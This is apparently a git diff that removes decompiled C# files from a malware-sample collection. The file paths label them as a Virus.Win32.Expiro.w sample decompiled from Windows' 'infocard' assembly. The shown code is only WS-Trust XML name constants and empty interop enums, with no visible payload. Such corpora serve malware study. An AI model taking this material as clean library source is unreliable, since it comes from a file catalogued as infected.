- - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005; - - public string DefaultPrefix => "wst2005"; - - public string Namespace => "http://schemas.xmlsoap.org/ws/2005/02/trust"; - - public string SchemaLocation => this.Namespace + "/ws-trust.xsd"; - - public string LocalSchemaLocation => "ws-trust.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTR/Issue"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string KeyWrapAlgorithm => throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException()); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustXmlSoap2005.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSIdentity.NoProofKeyTypeValue; - } - - internal sealed class WSTrustOasis2007 : XmlNames.IWSTrust, XmlNames.IWSSpecification - { - public const string c_Namespace = "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - public const string c_RequestSecurityTokenAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue"; - public const string c_RequestSecurityTokenResponseAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal"; - public const string c_DefaultPrefix = "wst"; - public const string c_ClaimsElement = "Claims"; - public const string c_TokenType = "TokenType"; - public const string c_EncryptWith = "EncryptWith"; - public const string c_KeyType = "KeyType"; - public const string c_KeySize = "KeySize"; - public const string c_SignatureAlgorithm = "SignatureAlgorithm"; - public const string c_EncryptionAlgorithm = "EncryptionAlgorithm"; - public const string c_CanonicalizationAlgorithm = "CanonicalizationAlgorithm"; - public const string c_SignWith = "SignWith"; - public const string c_RequestType = "RequestType"; - public const string c_SecondaryParameters = "SecondaryParameters"; - public const string c_KeyWrapAlgorithm = "KeyWrapAlgorithm"; - public const string c_Dialect = "Dialect"; - public static XmlNames.WSTrustOasis2007 Instance = new XmlNames.WSTrustOasis2007(); - private static readonly Uri m_KeyTypeSymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/SymmetricKey"); - private static readonly Uri m_KeyTypeAsymmetric = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/PublicKey"); - private static readonly Uri m_KeyTypeBearer = new Uri(XmlNames.WSTrustOasis2007.Instance.Namespace + "/Bearer"); - - private WSTrustOasis2007() - { - } - - public XmlNames.WSSpecificationVersion Version => XmlNames.WSSpecificationVersion.WSTrustOasis2007; - - public string DefaultPrefix => "wst"; - - public string Namespace => "http://docs.oasis-open.org/ws-sx/ws-trust/200512"; - - public string SchemaLocation => this.Namespace + "/ws-trust-1.3.xsd"; - - public string LocalSchemaLocation => "ws-trust-1.3.xsd"; - - public string ClaimsElement => "Claims"; - - public string TokenType => nameof (TokenType); - - public string EncryptWith => nameof (EncryptWith); - - public string CustomToken => "customToken"; - - public string Context => nameof (Context); - - public string KeyType => nameof (KeyType); - - public string KeySize => nameof (KeySize); - - public string UseKey => nameof (UseKey); - - public string SigAttribute => "Sig"; - - public string RequestSecurityToken => nameof (RequestSecurityToken); - - public string RequestSecurityTokenAction => this.Namespace + "/RST/Issue"; - - public string RequestSecurityTokenResponseAction => this.Namespace + "/RSTRC/IssueFinal"; - - public string RequestedSecurityToken => nameof (RequestedSecurityToken); - - public string RequestedProofToken => nameof (RequestedProofToken); - - public string RequestSecurityTokenResponse => nameof (RequestSecurityTokenResponse); - - public string RequestSecurityTokenResponseCollection => nameof (RequestSecurityTokenResponseCollection); - - public string Lifetime => nameof (Lifetime); - - public string RequestedAttachedReference => nameof (RequestedAttachedReference); - - public string RequestedUnattachedReference => nameof (RequestedUnattachedReference); - - public string Entropy => nameof (Entropy); - - public string ComputedKey => nameof (ComputedKey); - - public string AuthenticationType => nameof (AuthenticationType); - - public string SignatureAlgorithm => nameof (SignatureAlgorithm); - - public string EncryptionAlgorithm => nameof (EncryptionAlgorithm); - - public string CanonicalizationAlgorithm => nameof (CanonicalizationAlgorithm); - - public string SignWith => nameof (SignWith); - - public string ComputedKeyAlgorithm => this.Namespace + "/CK/PSHA1"; - - public string RequestType => nameof (RequestType); - - public string IssueRequestType => this.Namespace + "/Issue"; - - public string SecondaryParameters => nameof (SecondaryParameters); - - public string KeyWrapAlgorithm => nameof (KeyWrapAlgorithm); - - public string Dialect => nameof (Dialect); - - public Uri KeyTypeSymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeSymmetric; - - public Uri KeyTypeAsymmetric => XmlNames.WSTrustOasis2007.m_KeyTypeAsymmetric; - - public Uri KeyTypeBearer => XmlNames.WSTrustOasis2007.m_KeyTypeBearer; - } - - internal sealed class WSTransfer - { - public const string DefaultPrefix = "wxf"; - public const string Namespace = "http://schemas.xmlsoap.org/ws/2004/09/transfer"; - public const string Create = "Create"; - public const string CreateAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Create"; - public const string CreateResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/CreateResponse"; - public const string Get = "Get"; - public const string GetAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Get"; - public const string GetResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/GetResponse"; - public const string Put = "Put"; - public const string PutAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Put"; - public const string PutResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/PutResponse"; - public const string Delete = "Delete"; - public const string DeleteAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete"; - public const string DeleteResponseAction = "http://schemas.xmlsoap.org/ws/2004/09/transfer/DeleteResponse"; - public const string ResourceCreated = "ResourceCreated"; - public const string WSTransferContractName = "WS-Transfer"; - - private WSTransfer() - { - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/NEGOTIATE_MESSAGES.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/NEGOTIATE_MESSAGES.cs deleted file mode 100644 index b8616f23..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/NEGOTIATE_MESSAGES.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: NEGOTIATE_MESSAGES -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum NEGOTIATE_MESSAGES -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDEXECOPT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDEXECOPT.cs deleted file mode 100644 index 3974a1a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDEXECOPT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDEXECOPT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum OLECMDEXECOPT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDF.cs deleted file mode 100644 index ee7dd16b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum OLECMDF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDID.cs deleted file mode 100644 index f8c7557f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum OLECMDID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDTEXTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDTEXTF.cs deleted file mode 100644 index 75c52b4f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OLECMDTEXTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OLECMDTEXTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum OLECMDTEXTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OfflineFolderStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OfflineFolderStatus.cs deleted file mode 100644 index 32bc0ca6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/OfflineFolderStatus.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: OfflineFolderStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum OfflineFolderStatus -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/PIDMSI_STATUS_VALUE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/PIDMSI_STATUS_VALUE.cs deleted file mode 100644 index c6d2f444..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/PIDMSI_STATUS_VALUE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: PIDMSI_STATUS_VALUE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum PIDMSI_STATUS_VALUE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RESTRICTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RESTRICTIONS.cs deleted file mode 100644 index ec14c626..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RESTRICTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RESTRICTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum RESTRICTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RPC_ADDRESS_CHANGE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RPC_ADDRESS_CHANGE_TYPE.cs deleted file mode 100644 index d9a01e29..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RPC_ADDRESS_CHANGE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RPC_ADDRESS_CHANGE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum RPC_ADDRESS_CHANGE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RefreshConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RefreshConstants.cs deleted file mode 100644 index 83f01725..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RefreshConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RefreshConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum RefreshConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ReplacesCorHdrNumericDefines.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ReplacesCorHdrNumericDefines.cs deleted file mode 100644 index 21ed1308..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ReplacesCorHdrNumericDefines.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ReplacesCorHdrNumericDefines -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum ReplacesCorHdrNumericDefines -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RequireAppliesToStatus.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RequireAppliesToStatus.cs deleted file mode 100644 index 6a5cc5a5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/RequireAppliesToStatus.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: RequireAppliesToStatus -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -internal enum RequireAppliesToStatus : byte -{ - NotPresent, - Optional, - Required, -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOCLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOCLASS.cs deleted file mode 100644 index e1183821..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOCLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOCLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum SYSGEOCLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOTYPE.cs deleted file mode 100644 index 8be0b9b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSGEOTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSGEOTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum SYSGEOTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSNLS_FUNCTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSNLS_FUNCTION.cs deleted file mode 100644 index 0f995a87..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SYSNLS_FUNCTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SYSNLS_FUNCTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum SYSNLS_FUNCTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SearchCommandExecuteErrors.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SearchCommandExecuteErrors.cs deleted file mode 100644 index c2635694..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SearchCommandExecuteErrors.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SearchCommandExecuteErrors -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum SearchCommandExecuteErrors -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SecureLockIconConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SecureLockIconConstants.cs deleted file mode 100644 index 9725b765..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/SecureLockIconConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SecureLockIconConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum SecureLockIconConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellFolderViewOptions.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellFolderViewOptions.cs deleted file mode 100644 index 34223d1c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/ShellFolderViewOptions.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ShellFolderViewOptions -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum ShellFolderViewOptions -{ -} diff --git 